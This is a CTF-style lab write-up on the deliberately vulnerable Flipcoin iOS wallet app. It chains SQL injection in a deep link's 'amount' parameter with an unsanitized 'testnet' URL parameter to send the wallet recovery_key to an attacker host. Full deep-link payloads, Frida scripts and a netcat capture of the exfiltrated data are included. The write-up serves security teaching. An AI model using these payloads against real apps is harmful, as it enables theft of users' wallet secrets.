Breaking Down Data Exfiltration via Unsanitized URL Handling and SQL Injection through Deep Links
In the name of Allah, the Most Gracious, the Most Merciful.
📌 This write-up is also available on Medium in the publication of the company where I’m employed. Feel free to check it out if you find Medium’s format more convenient: https://medium.com/haktrak-cybersecurity-squad/exploiting-unsanitized-url-handling-sql-injection-via-deep-links-in-ios-app-write-up-of-flipcoin-066899b09fc2
This write-up will be presented in two different approaches:
- For those who only need the key points of this finding (InshaAllah, this will save a lot of time if the reader is already familiar with the flow) — please refer to the TL;DR section.
- And for those who need a fundamental explanation along with the flow of execution behind this finding, InshaAllah, this section will provide insights into key mindsets and help expand understanding.
As a note, this write-up will cover:
• A basic explanation of URL schemes and deep links
• Overview of iOS App Directory Structure
• Finding additional parameters in the app by using Ghidra
• Locate the SQLite database within the target app
• Hooking the process with Frida to detect the sqlite3_prepare function
• Monitoring database queries processed at the preparation stage using Frida
• Crafting the SQL Injection payload
In addition, some sections of this write-up — such as installing the necessary tools (OpenSSH, Zip, Sideloadly, and Ghidra), copying and installing the iOS app binary, and loading it into Ghidra — are similar to those in the previous write-up. To avoid repetition, these parts will be summarized briefly here.
I. TL;DR
Here are the key steps in this issue:
- Obtaining the deep link from the QR code in the application.
- Reversing the app’s binary to identify potential additional parameters in the deep link.
- Discovering the
testnet
parameter and dev URL (refer to sections 5.5.1 and 5.5.2). - Injecting the
testnet
parameter into the deep link and setting it to our web server’s IP. The server receives a request from the app, confirming that thetestnet
parameter is not sanitized (section 5.6.2). - Locating the SQLite database storing sensitive data and examining its contents. A table with 5 columns is found (sections 6.2 and 6.3).
- Identifying the use of
sqlite3_prepare
to process queries (section 6.4). - Injecting into the
amount
parameter, confirming query reflection (section 7.1). - Exploiting UNION-based SQL Injection to extract the
recovery_key
(section 7.3). - Summary: since this is a local SQL Injection that requires physical access, then it can be combined with the unsanitized
testnet
parameter to exfiltrate the extracted data to an attacker-controlled host. - Tools used: Ghidra, Frida, DB Browser for SQLite, Terminal, Sideloadly, SSH, nc.
II. Introduction
Whether in application security testing for web or mobile applications, understanding the application’s flow — including how it receives and processes input — is essential for effectively identifying potential vulnerabilities. This understanding is important because security risks can emerge from multiple layers, ranging from the end user (customer) and operational management behind the scenes to the technical components supporting the application.
For example, an application that may appear secure from a customer’s perspective, with proper authentication and access controls in place, yet still harbors risks due to backend misconfigurations or excessive privileges. For instance, an internal dashboard connected to an API endpoint may allow unrestricted database queries, enabling employees to retrieve customer records beyond what is necessary for operational purposes, without proper filtering or logging. Without a clear grasp of how data flows within the system and how each layer interacts, security testing is at risk of becoming less effective, potentially leading to overlooked vulnerabilities or inefficient exploitation.
In practice, this principle applies not only to backend misconfigurations but also to other security risks that arise due to an incomplete understanding of an application’s flow. A case that illustrates this well is the Flipcoin Lab, which we encountered while exploring the free iOS Application Security course provided by MobileHackingLab. At its core, the challenge revolves around exploiting SQL injection through the application’s deep link mechanism. However, beyond its technical focus, what stands out most is how it reinforces the importance of understanding an application’s flow. Given its relevance to real-world challenges, we decided to explore this topic further in this write-up.
III. Setting Up the Testing Environment
As before, the first step to prepare after jailbreaking the device is to install and configure several tools to facilitate interaction with it. These essential tools include OpenSSH, Zip, and Frida Server on iOS, along with Frida, Ghidra, and Sideloadly on the desktop.
3.1. Setting Up Tools on iOS Device
3.1.1. Installing OpenSSH and Zip
To recap, OpenSSH is installed through the package manager (such as Cydia or Sileo), while zip
is installed by running apt install zip
in the iOS shell.

3.1.2. Installing Frida Server
For Frida Server, an additional repository needs to be added. In the package manager, add the repository at https://build.frida.re/. Once added, locate the appropriate Frida Server package and proceed with the installation.

After installation, verify it by connecting to the device via SSH and checking the installed Frida version to ensure everything is set up correctly.

3.2. Setting Up Tools on the Desktop
Upon installing the necessary tools on the iOS device, the next step is to set up the required tools on the desktop. Although the installation process is largely similar across operating systems, it’s worth noting that certain tools, such as Sideloadly, are currently only supported on macOS and Windows.
3.2.1. Installing and Setting Up Frida
There are plenty of tutorials available online for installing Frida. However, to streamline the process, I personally used pip3.
$ pip3 install frida-tools
Once installed correctly, Frida will be located in the directory /Users/username/Library/Python/x.x/bin
, although the exact path may vary depending on user’s environment.

To make Frida easily accessible from any terminal session, we can update our shell configuration file (such as .zshrc for Zsh or .bash_profile for Bash) by adding the directory to our PATH variable. After making this change, Frida will be accessible from anywhere in the terminal.


3.2.2. Installing Sideloadly
As a recap, this tool simplifies app sideloading on iOS devices by bypassing App Store restrictions. It is particularly useful for testing unsigned apps or deploying modified versions for penetration testing. However, keep in mind that:
- If a free Apple ID is used, the installed app will only function for 7 days before requiring re-signing.
- In some cases, Sideloadly may not be necessary if the app is already signed or originates from a trusted source.
- Sideloadly is only available for macOS and Windows.

3.2.3. Installing Ghidra
Unlike the previous write-up, which extensively used Ghidra for binary patching, in this case, Ghidra is mainly needed to analyze the parameters an application uses when processing a request.

In short, Ghidra can be downloaded from its GitHub page. After downloading, extract the files and launch the application by running ./ghidrarun
in an environment where JDK is already installed.
With the necessary environment in place, we can proceed with the execution process. The number of tools used in this session is intentionally limited, as the primary focus is on exfiltrating data using SQLi via deep link.
IV. Downloading and Installing the Binary
Since we’ll be using our own device for testing, then the first step is to download the binary and install it using Sideloadly.
However, if you don’t have an iOS device yet — whether due to specific considerations or other reasons — you can use the virtual device provided by MobileHackingLab, which is available through a subscription.


In short, once the app is installed via drag-and-drop, it won’t run immediately. Before launching it, we need to verify that it comes from a trusted developer. This is a standard step since the app was signed using a free Apple ID.
To do this, go to Settings → General → VPN & Device Management, then locate and verify the developer profile listed in this menu.

Afterward, the app will be installed.

Can’t Download the App? Try This Instead.
If the download link for the binary is inaccessible (as we experienced with the No-Escape Lab), it is still possible to obtain the binary by extracting it directly from the virtual device provided by MobileHackingLab.

So, once connected to the virtual device, the first step is to locate the app by running:
find /var/containers/Bundle/Application/ -name “*.app”
After identifying the app directory, navigate to it and archive the directory inside a folder named “Payload”.

As a quick reminder, iOS requires the .app bundle to be placed inside a ‘Payload’ folder for proper recognition and installation. Failing to follow this structure may result in errors, such as ‘guru meditation b4822c@:*** can’t listdir a file’ when using Sideloadly.
Upon completing the packaging, the .zip file can be transferred from the iOS device to the desktop using the following command:
scp root@10.11.1.1:/tmp/Flipcoin.zip .

V. Exploring URL Scheme and Deep Link in a Target
Given that the vulnerability and objective of this lab are already known — performing SQL injection through a deep link — the process of understanding the application’s flow can be more focused by identifying the deep link in use.
However, in real-world scenarios, it is important to note that when analyzing an application, one of the key steps is to thoroughly understand each function within the application. This will help testers identify potential vulnerabilities, such as features that could be abused, design flaws, or access control issues.
Testers can then refine this approach by exploring how the application handles unusual inputs and analyzing the resulting outputs. This process helps uncover potential gaps, such as authorization issues, input validation weaknesses, or unencrypted communications.
Furthermore, it’s also essential to assess the application across multiple layers, from the end-user level to the backend. By evaluating how each layer interacts, testers can identify potential vulnerabilities that may not be visible through a single lens.
5.1. Few Words about Application’s URL Scheme and Deep Link
Before diving deeper, it is useful to first understand the concepts of URL schemes and deep links, as they play a key role in how applications handle external requests.
5.1.1. So, What is URL Scheme?
A URL scheme is a way for an app to tell the operating system how to open the app using a special link. It’s like providing a shortcut to open a specific part of the app without having to manually search for it.
For example, Facebook might use a URL scheme like fb://
. So, when we click a link that starts with fb://
, the operating system knows to open the Facebook app.
It’s important to note that some apps require an additional endpoint after the URL scheme to function properly. This is where the concept of a deep link comes in — a combination of the URL scheme and a specific endpoint that guides the app to a particular section or action.
5.1.1.1. What if the App is not Installed?
If the application associated with the URL scheme is not found on the operating system, the system will show an error message, as it doesn’t recognize the URL scheme. This is because URL schemes are only registered when an app is installed on the device.
5.1.1.2. I’ve Noticed that Apps not Installed can still Redirect to the App Store. How Does that Happen?
This happens through a different process. When we click on a regular web URL (for example: https://myapp.com/profile),instead of a direct URL scheme (myapp://), the link first opens in a web browser. From there:
- The webpage tries to open the app using its URL scheme.
- If the app isn’t installed, it redirects to the App Store.
This process happens quickly and seamlessly, often using Universal Links (iOS) or App Links (Android), which are more advanced than basic URL schemes.
5.1.2. Then, What is Deep Link?
A deep link is a specific type of URL that uses a “registered URL scheme” to direct the user to a particular page or action within an app. While a regular link might open a webpage, a deep link opens a specific screen or section inside the app. In short, deep links rely on URL schemes to trigger these actions.
For example, on Facebook, a deep link might look like this: fb://profile/[user_id]
. This link would open the Facebook app directly to the user’s specific profile.
So, as a recap for clarity:
- Facebook URL scheme:
fb://
- Facebook deep link:
fb://profile/[user_id]
By using this deep link, users are directed straight to the specific profile page within the Facebook app, bypassing the need for navigation through other sections of the app.
5.2. Identifying URL Schemes in a Target
One of the simplest ways to identify the URL scheme used by the target is by reviewing the Info.plist file found within the app’s bundle. This information is typically located under the CFBundleURLTypes parameter.

For reference, CFBundleURLTypes is a mandatory component in the iOS system used to register an app’s URL scheme. This parameter defines how the iOS system recognizes and directs a specific URL scheme to the appropriate app.
Technically, within CFBundleURLTypes, there are two main parameters:
- CFBundleURLSchemes → Used to define the scheme that will be used. Example: “fb” for Facebook.
- CFBundleURLName → Typically contains information related to the app’s bundle identifier.
In the case of the Flipcoin app, we find that the app’s bundle is named com.mobilehackinglab.flipcoinwallet and the URL scheme used is flipcoin.

I Found Info.plist, But it is not Readable. Why?
If the Info.plist file found cannot be opened in plain text, it is likely that the file has been converted into a binary property list. This format is commonly used in iOS for storing plists in current app development, as it is considered more efficient in several aspects, such as file size and parsing speed.
If this occurs, there are several methods that can be used to read the file:
- Using Xcode directly. When opened in Xcode, the application will automatically display the file in a more readable format.
- Alternatively, we can also use plutil (a built-in tool on macOS). This can be done by using the following command:
plutil -convert xml1 Info.plist -o Info.xml
.
5.3. Identifying Deep Link in a Target.
The question now is, how can the deep link in this application be identified? In general, deep links can be discovered using various methods, including binary analysis with tools like Ghidra. However, in this case, we found that a QR code within the app directly leads to a link in the format http://flipcoin://0x252B2Fff0d264d946n1004E581bb0a46175DC009?amount=1
.
When this link is visited in the browser, it uniquely informs the user that the server can’t be found. Upon further inspection, it turns out that the browser is stripping away the colon (:
) following flipcoin
. There is a possibility that this occurs because the browser first encounters the http://
prefix, which it recognizes as a standard web protocol. As a result, it misinterprets the custom URL scheme flipcoin://
as part of the domain name, then removes the colon after flipcoin
, and ultimately leads to an invalid URL.

However, when the http://
prefix is removed from the scanned QR code result, the remaining link becomes valid and successfully redirects to the application. This confirms that the deep link exists in the format flipcoin://0x252B2Fff0d264d946n1004E581bb0a46175DC009?amount=1
.

5.4. Validating and Opening Deep Links in iOS
Now that the deep link format has been identified, the next question is: how does iOS process this link when it is triggered? At the core of this process lies the system’s ability to resolve and open URL schemes.
Let’s say a user clicks on a deep link like: flipcoin://0x252B2Fff0d264d946n1004E581bb0a46175DC009?amount=1
When this happens, iOS first checks if any installed app is registered to handle the flipcoin://
scheme. If a matching app is found, the system launches it and passes the URL as input. Otherwise, the deep link does nothing.
A question that might arise is: how does an app determine whether a deep link is supported before attempting to open it?In such cases, apps typically verify the URL scheme first using:
if UIApplication.shared.canOpenURL(URL(string: "flipcoin://")!) {
}
If the URL scheme is supported, the app can then launch the deep link using:
UIApplication.shared.open(URL(string: "flipcoin://0x252B2Fff0d264d946n1004E581bb0a46175DC009?amount=1")!)
This behavior allows apps to navigate seamlessly using deep links while preventing unnecessary attempts to open unsupported URLs.
For a deeper understanding, readers can refer to Apple’s official documentation on canOpenURL(_:) and open(_:options:completionHandler:) to see how iOS verifies and launches deep links.
5.5. Analyzing Deep Link Handling through Binary Analysis
After understanding how iOS determines whether a deep link can be opened and how an app responds externally, one question remains: once flipcoin
receives a deep link, how does it process it internally?
One way to uncover this is by analyzing the app’s binary, which can reveal how deep links are handled, what parameters are accepted, and whether any undocumented behaviors exist. This may include discovering hidden parameters that influence deep link behavior or identifying endpoints that are not publicly documented.
5.5.1. Searching for openURL References in Ghidra
When analyzing a binary, we can use Ghidra — just as it was previously used to patch a binary for bypassing jailbreak detection in an app.
As a recap from that write-up, in this scenario, we need to:
• Import the binary into Ghidra.
• Enable Decompiler Parameter ID to improve readability.
Once the binary is loaded, what’s the next step?
One possible approach is to search for references to openURL
in the Symbol Tree column of Ghidra to identify functions that reference it.
Please note that while modern iOS development relies on
canOpenURL(:)
andopen(:options:completionHandler:)
, searching foropenURL
remains useful for binary analysis, because:
• Some apps still retainopenURL
in legacy or internal implementations.
• Debug information and symbol names often reference this term.
In short, by searching for openURL
in the Symbol Tree, we identified a function inside SceneDelegate that appears to handle deep link processing through the openURLContexts
property.
Upon further inspection, the function name is revealed as:_$s15Flipcoin_Wallet13SceneDelegateC5scene_15openURLContextsySo7UISceneC_ShySo16UIOpenURLContextCGtF

Inside this function, we uncovered an interesting finding — alongside the amount
parameter, the testnet
parameter was also referenced, suggesting that it may also influence how the deep link is processed.
Below is a snippet of the code where this parameter appears:
_objc_msgSend(local_4d8,"URL");
_objc_retainAutoreleasedReturnValue();
local_6d0 = UVar14.unknown;
Foundation::URL::$_unconditionallyBridgeFromObjectiveC(UVar14);
(*local_4c8)(UVar16.unknown,local_2d8,local_380);
SVar31 = Foundation::URL::get_absoluteString(UVar16);
...
SVar31 = Swift::String::init("amount",6,1);
...
SVar31 = Foundation::URL::get_absoluteString(UVar16);
...
SVar31 = Swift::String::init("testnet",7,(byte)local_6ac & 1);

5.5.2. Found an Interesting URL
As a small note, when scrolling down a bit further in the same function, we can see the URL https://mhl.pages.dev:8545.

Given my limited understanding, I can only suspect that this URL might be related to testnet
.
Based on the flow, it appears that if the testnet
value is left empty, the URL defaults to https://mhl.pages.dev:8545.Meanwhile, if a value is provided, it seems that the URL is taken from that input instead.
However, when attempting to execute the deep link with an empty testnet
value, the application unexpectedly crashes. This raises some uncertainty about whether the initial assumption is actually correct.
5.6. Reconstructing the Deep Link
Now, let’s get back to the main topic. After identifying an additional parameter, testnet
, the next logical step is to verify whether this parameter can be used in the deep link we initially discovered via the QR code.
As a quick recap, the original deep link we found was:flipcoin://0x252B2Fff0d264d946n1004E581bb0a46175DC009?amount=1
Now, we will attempt to add the testnet
parameter to it. Since there is a possibility that this parameter accepts a URL, we can try using our own host for this parameter. This can be tested using nc
or other similar tools.
In short, the modified deep link would be:flipcoin://0x252B2Fff0d264d946n1004E581bb0a46175DC009?amount=1&testnet=http://192.168.18.177
So how do we open this URL? There are multiple ways to do it. We can generate a QR code using a service like qr-code-generator.com and scan it, or we can use Frida to execute it directly.

5.6.1. Testing Deep Link Parameters with Frida
Now, let’s say we choose Frida to make things simpler — so we don’t have to generate a QR code every time we modify the deep link. But what kind of script do we need for this?
As a reference, there’s a well-known Frida script called ios-deeplink-fuzzing, that can be used to detect URL schemes, access deep links directly using Apple’s API, and even fuzz parameters to analyze how an app handles deep linking.
However, since our focus here is simply executing a specific deep link rather than performing a full fuzzing process, we can simplify the approach. Based on the original script, we modified it into the following minimal version:
if (ObjC.available) {
var LSApplicationWorkspace = ObjC.classes.LSApplicationWorkspace;
if (!LSApplicationWorkspace) {
console.log("LSApplicationWorkspace not found!");
} else {
globalThis.execURL = function (url) {
var workspace = LSApplicationWorkspace.defaultWorkspace();
var success = workspace.openSensitiveURL_withOptions_(ObjC.classes.NSURL.URLWithString_(url), null);
console.log("Attempted to execute URL:", url, "| Success:", success);
return success;
};
console.log("execURL is now available. Use execURL('scheme://path') in Frida.");
}
} else {
console.log("Objective-C Runtime is not available!");
}
When this script is injected into a running iOS app using Frida, it first checks if the Objective-C runtime is available. Then, it accesses
LSApplicationWorkspace
to interact with installed apps and defines execURL, a function that opens deep links usingopenSensitiveURL_withOptions_
. Finally, it makesexecURL
available globally, so it can be run directly from the Frida.
With this in place, we can execute a deep link inside Frida by running:execURL("flipcoin://0x252B2Fff0d264d946n1004E581bb0a46175DC009?amount=1&testnet=http://192.168.18.177");

If you’re not yet familiar with Frida, the
frida-ps -U
command is used to enumerate running processes on an iOS device (make sure your device is connected to the host machine running Frida).
To make things easier, we can apply a filter using grep, which is available on macOS and Linux-based OS, to refine the results:
% frida-ps -U | grep Flipcoin
Once we have the process ID of the target application, we can proceed with:
% frida -U -p (process_ID) -l execURL.js
Please take a note that
execURL.js
refers to the modified script we created earlier.
5.6.2. Observing the Application’s Response and Found an Unrestricted Testnet Parameter Allowing Arbitrary URLs
At first, when sending a request with amount=1
(the default value from the QR code) and setting testnet
to our host’s IP address, we encountered a message stating that we didn’t have enough Flipcoins to complete the transaction.


To explore further, we modified the amount to 0.1
and 0.2
, considering that the in-app balance was 0.3654
. This time, the app redirected us to the fund transfer interface.


More interestingly, we noticed that the application sent a request to the nc
listener running on our host.

This confirms the assumption that the testnet
parameter accepts a URL. Moreover, it appears that no whitelist is enforced on this parameter, allowing arbitrary URLs to be provided.
The best part? When the app executes a deep link pointing to our host via testnet
, it actually sends a request — one that includes what seems to be the Flipcoin address used by the application.
By the way, we can also use an interceptor tool like Burp Suite to inspect the request.

So, in summary, when we access a deep link that includes a URL, the application indirectly converts it into a POST request to the URL specified in the
testnet
parameter.
After receiving a request like this in our web server/interceptor, the next step is to examine the database structure used by the application. This will help us determine where the transmitted values are stored and how they might be manipulated.
VI. Analyzing SQLite Usage within an App
Generally, mobile applications rely on lightweight DBMS for local storage, and one of the most commonly used choices is SQLite.
Its popularity stems from being a self-contained, serverless, and efficient database engine that requires minimal setup. Since both iOS and Android provide built-in support for SQLite, developers can leverage its SQL capabilities without additional dependencies. Furthermore, SQLite’s fast read/write operations and low resource consumption make it ideal for storing user data, caching, and application configurations.
With this in mind, we now proceed to identify whether this application utilizes SQLite and where its database is stored.
6.1. Few Words about the Application Directory in iOS
In iOS, applications store local data within their sandboxed directories. A common location for persistent data, including SQLite databases, is the Library
or Documents
folder inside the application’s container.
Technically, each application has an isolated storage structure, typically as follows:
/var/mobile/Containers/Data/Application/<App_UUID>/
├── Documents/
├── Library/
│ ├── Application Support/
│ ├── Caches/
├── tmp/
Here, <App_UUID>
is a unique identifier assigned to each application, which changes when the app is reinstalled.
And below is a brief overview of these directories and their functions:
Documents/
– Used for storing user-generated content. Some applications place databases here, but this location is more common for files that might be shared or backed up via iCloud. Since this directory is included in iCloud backups, developers typically avoid storing sensitive data here unless necessary.Library/
– This directory commonly stores application-related data, including SQLite databases, configuration files, and caches. WhileApplication Support
often contains persistent storage such as local databases,Caches
holds temporary data that can be regenerated when needed. Note: unlike theDocuments
directory,Library
is not directly accessible by users but remains available for app-internal operations.tmp/
– Temporary files that may be deleted by the system at any time.
6.2. Locating the SQLite Database
To determine whether an application uses SQLite and where its database is stored, a common approach is to establish an SSH connection to the device and inspect its filesystem directly.$ find /var/mobile/Containers/Data/Application/ -name “*.sqlite”

Essentially, we can refine the results by using
grep
to filter database files related to the application. However, developers do not always name SQLite files after the application itself. For this reason, I personally recommend taking the time to manually review the directory contents to ensure that nothing important is overlooked.
For reference, this application contains 4 SQLite files::
•
your_database_name.sqlite
located in theDocuments
directory
•Flipcoin_Wallet.sqlite
located in/Library/Application Support/
•AlternativeService.sqlite
located in/Library/Caches/...
•httpstorages.sqlite
located in/Library/HTTPStorages/...
Among these, the database storing actual data is the one located in the
Documents
directory, which isyour_database_name.sqlite
.

Sometimes, within a directory that contains an SQLite file, you may also come across files with sqlite-wal
and sqlite-shm
extensions. If you’re wondering what these files are, they are supporting files used when SQLite operates in Write-Ahead Logging (WAL) mode.
•
-wal
(Write-Ahead Log): Stores uncommitted transactions before they are written to the main database file.
•
-shm
(Shared Memory): Manages concurrent access to the database to ensure consistency.
Regardless, we can ignore them and focus on the
.sqlite
file.
6.3. Exploring the Contents of an SQLite Database
Now that we have identified the database file, we can explore its contents to understand its structure and stored data.
Technically, this can be done using various tools, such as the sqlite3 CLI or DB Browser for SQLite. Regardless of the tool, we need to open your_database_name.sqlite
to examine its structure.

So, upon inspection, we found that the wallet table consists of 5 columns, namely id, address, currency, amount, and recovery_key. While we’ve obtained the flag, the objective must be achieved through SQL injection, not by using this method or reversing the binary.

However, on the money transfer screen, only amount and address from row 1 are displayed.

That said, when intercepting requests, we can only observe that the application sends a request containing the address and, perhaps, the id from row 1.

6.4. Determining SQLite Function Usage with Frida
Once we understand the structure of the SQLite database used by the app, we can proceed to determine how queries are handled, particularly during the preparation stage, when applicable, before execution.
Although the core SQL syntax (like SELECT, INSERT, UPDATE, and DELETE) remains consistent, I believe that observing which SQLite prepare function is being used can provide valuable insights into how the application constructs its queries.
By intercepting database calls that go through SQLite’s preparation functions using Frida, we can observe queries as they are being prepared. Since iOS apps typically rely on libsqlite3.dylib
to handle SQL queries, hooking into these functions helps us understand how queries are handled at the preparation stage.
The following Frida script demonstrates this approach:
const SQL_PREPARE_VARIANTS = [
"sqlite3_prepare",
"sqlite3_prepare_v2",
"sqlite3_prepare_v3",
"sqlite3_prepare16",
"sqlite3_prepare16_v2",
"sqlite3_prepare16_v3"
];
SQL_PREPARE_VARIANTS.forEach(interceptSQLiteFunction);
function interceptSQLiteFunction(prepareFunction) {
let dbFunction = Module.findExportByName("libsqlite3.dylib", prepareFunction);
if (!dbFunction) {
return;
}
Interceptor.attach(dbFunction, {
onEnter(args) {
let query = args[1];
let isUTF16 = prepareFunction.endsWith("16") ||
prepareFunction.includes("prepare16");
logQueryDetails(prepareFunction, query, isUTF16);
},
onLeave(returnValue) {}
});
}
function logQueryDetails(funcName, query, isUTF16) {
let timestamp = new Date().toISOString();
let queryText = isUTF16 ? query.readUtf16String() : query.readCString();
console.log("━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━");
console.log(`⏰ Time: ${timestamp}`);
console.log(`📌 Function: ${funcName}`);
console.log(`📝 Encoding: ${isUTF16 ? 'UTF-16' : 'UTF-8'}`);
console.log(`🔍 Query: ${queryText}`);
console.log("━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━");
}
As a reference, there are six variations of the
sqlite3_prepare
function, each with slight differences in parameters and behavior. These include:
•sqlite3_prepare
•sqlite3_prepare_v2
•sqlite3_prepare_v3
•sqlite3_prepare16
•sqlite3_prepare16_v2
•sqlite3_prepare16_v3
For a detailed explanation of the differences between these functions, refer to the official SQLite documentation.
After ensuring that this script has been saved (for example, as sql-detect.js
), the next step is to load it into the Flipcoin Wallet application process using Frida. Once the hooking process is running, we can open the deep link using the chosen method.
Please note:
- If we use a QR code, we simply generate the link in QR format and scan it with the device.
- However, if we open the deep link via
execURL.js
, then we need to load this script alongside the SQL function detection script.
In this case, we decided to use the execURL.js
script that we created earlier, so both scripts need to be loaded simultaneously when hooking into the application.
% frida -U -p (process_ID) -l sql-detect.js -l execURL.js


In short, based on this execution, we can see that the application uses sqlite3_prepare
. One positive aspect is that we can also monitor every query executed by the database each time we perform an action.
Whether sent with an amount greater or less than the available balance, the result remains the same.
VII. Performing SQL Injection on the “amount” Parameter
Since we have gathered all the necessary information — such as the database type, table names, column count and names, as well as the data displayed in the interface and sent in requests to external hosts — we can now proceed to our main objective, which is executing SQL Injection.
However, it is important to note that in real-world testing, vulnerabilities are not always immediately apparent. Therefore, every feature across different user layers must be thoroughly tested to determine its susceptibility to SQL Injection or other forms of attack.
Returning to the topic, the most straightforward way to test for SQL Injection is by directly injecting SQL queries and observing the resulting response.
Since the previously loaded sql-detect.js
script allows us to see every query executed during an action, analyzing the application’s response to our injection attempts becomes significantly easier.
7.1. The Basic Test
There is a basic concept that we need to know. When an application is vulnerable to SQL Injection and the query results are reflected in the response, modifying a parameter’s value can directly influence the retrieved data.
To test this, we attempt an injection using AND id=2;
payload in the amount parameter. The reason for targeting this parameter is that changes to its value directly affect the output, suggesting that it interacts with the database. So technically, if the response changes as expected with this payload, it confirms that the parameter is being processed as part of the database query without proper sanitization.
Initial deep link with payload: execURL(“flipcoin://0x252B2Fff0d264d946n1004E581bb0a46175DC009?amount=0.1%20AND%20id=2;&testnet=http://192.168.18.177");

So, what’s the result?
From this injection, we observe that the application, which initially displayed the amount
and address
from id=1
, now shows the amount
and address
from id=2
. This confirms that our injected condition (AND id=2;
) successfully modified the executed SQL query.

Now, let’s break down the payload to understand why this works.
- The
AND id=2
part adds a condition to the existing query, forcing the database to return only the row where id=2. This confirms that the parameter is directly influencing the query execution. - As for the semicolon (
;
), it serves as a statement terminator in SQL. However, most modern database management systems execute queries one at a time unless explicitly configured to allow multiple statements per request. In this case, the semicolon does not execute a second query but helps us understand how the input is processed by the application.
In short, the database executes SELECT * FROM wallet WHERE amount > 0.1 AND id = 2;
, while the remaining part of the input (AND currency=’flipcoin’ LIMIT 1;
) is considered invalid, resulting in no additional output being displayed.
7.2. Moving to UNION-Based SQL Injection
Since we have confirmed that the amount parameter can modify the query’s output, the next step is to check whether we can control what data gets displayed.
From our previous injection (AND id=2;
), it proves that the parameter affects the SQL query, but it only changes which row is displayed. To extract useful data, we need a way to insert our own values into the output. This is where UNION-based SQL Injection comes in.
The UNION operator allows combining results from two queries, meaning if the application accepts it, we can inject additional data and even retrieve hidden database information.
So, to test this, we use the following payload:
%20UNION%20SELECT%20'a1','b2','c3','d4','e5'
Deep link with new payload:execURL(“flipcoin://0x252B2Fff0d264d946n1004E581bb0a46175DC009?amount=0.1%20UNION%20SELECT%20'a1',’b2',’c3',’d4',’e5';&testnet=http://192.168.18.177");

Why this payload?
- Basically, UNION SELECT statement allows us to combine our own query with the original one, which can make the application display data we control.
- The values
‘a1’
,‘b2’
,‘c3’
,‘d4’
,‘e5’
are arbitrary placeholders used to check whether any of them appear in the output.
Maybe you’re wondering, why exactly 5 values?
Well, the number of columns in UNION SELECT must match the number of columns in the original query. If the count is incorrect, the database throws an error. Since we previously examined the SQLite file and found that the wallet
table contains 5 columns, then we specify five values in our payload.
To learn more about UNION-based SQL Injection, readers can refer to one of PortSwigger Academy’s material, which covers SQL Injection UNION attacks in detail.
So, what did we find?
Surprisingly, the application accepted our payload and displayed b2 in the interface. This confirms that the second column of our UNION query is reflected in the output, meaning we can use it to extract data from the database.
Below is what appeared on the screen:

And here’s what we captured in the intercepted response:

7.3. Extracting the Target Data — Putting the Pieces Together
Since we have confirmed that the second column of our UNION query appears in the application’s response, we can now attempt to retrieve actual database records. Instead of using arbitrary placeholders, we replace the second value with a subquery designed to retrieve the flag stored in the recovery_key
.
To test this, we modify our payload as follows:
%20UNION%20SELECT%20'a',(SELECT%20recovery_key%20FROM%20wallet),'c','d','e';
The deep link should be like:execURL(“flipcoin://0x252B2Fff0d264d946n1004E581bb0a46175DC009?amount=0.1%20UNION%20SELECT%20'a’,(SELECT%20recovery_key%20FROM%20wallet),’c’,’d’,’e’;&testnet=http://192.168.18.177");

So, the outcome of this payload is that we successfully retrieved the recovery_key
from the wallet
table.

Isn’t this a local SQL Injection that requires physical access to the target device? What makes this an issue?
As a recap, since we previously discovered that modifying the testnet
value allows the application to send requests to a host we control, crafting a deep link with this final SQLi payload will enable remote extraction of the recovery_key
with a single click.

% nc -lv 80
POST / HTTP/1.1
Host: 192.168.18.77
Content-Type: application/json
Connection: keep-alive
Accept: application/json
User-Agent: Flipcoin%20Wallet/1 CFNetwork/1410.1 Darwin/22.6.0
Content-Length: 153
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Accept-Encoding: gzip, deflate, br
'{"jsonrpc":"2.0","method":"web3_sha3","params":["FLAG{fl1p_d4_c01nz}}", "7da50a3fe76ad0ea1de171ec47042ce913235c3792628a779f6acc5b07bebd90"],"id":1}'
VIII. Conclusion
And so, we reach at the final section of this write-up. In summary, the application is vulnerable to local SQL Injection, meaning physical access to the device is required to execute the attack. However, by chaining this issue with the unsanitized testnet parameter, the extracted data can be remotely exfiltrated to an attacker-controlled host.
From another perspective, this lab is not just a case study on SQL Injection via deep links — it also reinforces an important lesson, which is that proper testing requires a deep understanding of the application’s flow. In this case, extracting the recovery_key
was only possible after identifying the exact table structure used by the application. This situation underscores the importance of looking beyond a single attack vector and assessing the entire system holistically, ensuring a thorough evaluation across multiple layers.
IX. References
- Mobile Hacking Lab, “FREE Course — iOS Application Security,” November 2024. [Online]. Available: https://www.mobilehackinglab.com/course/free-ios-application-security-course.
- Mobile Hacking Lab, “Mobile Application Security Labs
Flipcoin” [Online]. Available: https://www.mobilehackinglab.com/course/lab-flipcoin-wallet. - COBALT, “Learning iOS App Pentesting and Security Part 1,” 13 June 2023. [Online]. Available: https://www.cobalt.io/blog/learning-ios-app-pentesting-and-security-part-1.
- P. Benoit, “Deep linking and URL scheme in iOS,” 13 February 2022. [Online]. Available: https://benoitpasquier.com/deep-linking-url-scheme-ios/.
- Braze, “How universal links and App Links work,” 30 October 2024. [Online]. Available: https://www.braze.com/docs/help/help_articles/email/universal_links/#how-universal-links-and-app-links-work.
- F. Basel, “Mastering Deep Linking in iOS: Unleashing the Power of URL Schemes and Universal Links,” 25 July 2023. [Online]. Available: https://www.codementor.io/@basilfarajcomedy/mastering-deep-linking-in-ios-unleashing-the-power-of-url-schemes-and-universal-links-271lpah1rt.
- BSTeam, “What is deep link? Types, Examples And Use Cases In Mobile App Marketing,” 09 December 2024. [Online]. Available: https://simicart.com/blog/mobile-deep-link/.
- 8ksecresearch, “iOS Deep Link Attacks Part 1 — Introduction | 8kSec Blogs,” 17May 2023. [Online]. Available: https://8ksec.io/ios-deeplink-attacks-part-1-introduction-8ksec-blogs/.
- Apple, “canOpenURL(_:)” [Online]. Available: https://developer.apple.com/documentation/uikit/uiapplication/canopenurl(_:).
- Apple, “open(_:options:completionHandler:)” [Online]. Available: https://developer.apple.com/documentation/uikit/uiapplication/open(_:options:completionhandler:).
- PortSwigger, “SQL injection UNION attacks” [Online]. Available: https://portswigger.net/web-security/sql-injection/union-attacks.
- https://github.com/NationalSecurityAgency/ghidra/releases
- https://sideloadly.io
- https://codeshare.frida.re/@ivan-sincek/ios-deeplink-fuzzing/
- https://codeshare.frida.re/@xperylab/ios-sqlite3/
- https://www.qr-code-generator.com/
- https://www.sqlite.org/c3ref/prepare.html
- https://sqlitebrowser.org/